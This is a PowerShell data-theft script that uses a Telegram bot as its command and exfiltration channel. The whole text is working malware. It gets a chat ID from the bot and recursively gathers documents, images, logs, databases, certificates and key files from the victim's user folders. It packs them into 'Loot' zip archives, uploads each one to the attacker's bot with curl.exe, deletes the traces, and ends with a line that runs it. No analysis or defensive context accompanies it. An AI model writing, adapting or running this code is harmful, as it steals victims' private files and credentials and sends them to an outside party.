$Token = "$tg" $URL='https://api.telegram.org/bot{0}' -f $Token while($chatID.length -eq 0){ $updates = Invoke-RestMethod -Uri ($url + "/getUpdates") if ($updates.ok -eq $true) {$latestUpdate = $updates.result[-1] if ($latestUpdate.message -ne $null){$chatID = $latestUpdate.message.chat.id}} Sleep 10 } Function Exfiltrate { param ([string[]]$FileType,[string[]]$Path) $maxZipFileSize = 50MB $currentZipSize = 0 $index = 1 $zipFilePath ="$env:temp/Loot$index.zip" $MessageToSend = New-Object psobject $MessageToSend | Add-Member -MemberType NoteProperty -Name 'chat_id' -Value $ChatID $MessageToSend | Add-Member -MemberType NoteProperty -Name 'text' -Value "$env:COMPUTERNAME : Exfiltration Started." -Force irm -Method Post -Uri ($URL +'/sendMessage') -Body ($MessageToSend | ConvertTo-Json) -ContentType "application/json" If($Path -ne $null){ $foldersToSearch = "$env:USERPROFILE\"+$Path }else{ $foldersToSearch = @("$env:USERPROFILE\Documents","$env:USERPROFILE\Desktop","$env:USERPROFILE\Downloads","$env:USERPROFILE\OneDrive","$env:USERPROFILE\Pictures","$env:USERPROFILE\Videos") } If($FileType -ne $null){ $fileExtensions = "*."+$FileType }else { $fileExtensions = @("*.log", "*.db", "*.txt", "*.doc", "*.pdf", "*.jpg", "*.jpeg", "*.png", "*.wdoc", "*.xdoc", "*.cer", "*.key", "*.xls", "*.xlsx", "*.cfg", "*.conf", "*.wpd", "*.rft") } Add-Type -AssemblyName System.IO.Compression.FileSystem $zipArchive = [System.IO.Compression.ZipFile]::Open($zipFilePath, 'Create') $escmsg = "Files from : "+$env:COMPUTERNAME foreach ($folder in $foldersToSearch) { foreach ($extension in $fileExtensions) { $files = Get-ChildItem -Path $folder -Filter $extension -File -Recurse foreach ($file in $files) { $fileSize = $file.Length if ($currentZipSize + $fileSize -gt $maxZipFileSize) { $zipArchive.Dispose() $currentZipSize = 0 curl.exe -F chat_id="$ChatID" -F document=@"$zipFilePath" "https://api.telegram.org/bot$Token/sendDocument" Remove-Item -Path $zipFilePath -Force Sleep 1 $index++ $zipFilePath ="$env:temp/Loot$index.zip" $zipArchive = [System.IO.Compression.ZipFile]::Open($zipFilePath, 'Create') } $entryName = $file.FullName.Substring($folder.Length + 1) [System.IO.Compression.ZipFileExtensions]::CreateEntryFromFile($zipArchive, $file.FullName, $entryName) $currentZipSize += $fileSize } } } $zipArchive.Dispose() curl.exe -F chat_id="$ChatID" -F document=@"$zipFilePath" "https://api.telegram.org/bot$Token/sendDocument" Remove-Item -Path $zipFilePath -Force Write-Output "$env:COMPUTERNAME : Exfiltration Complete." } # Define What you want to search for (examples at the top) Exfiltrate -Path documents -FileType log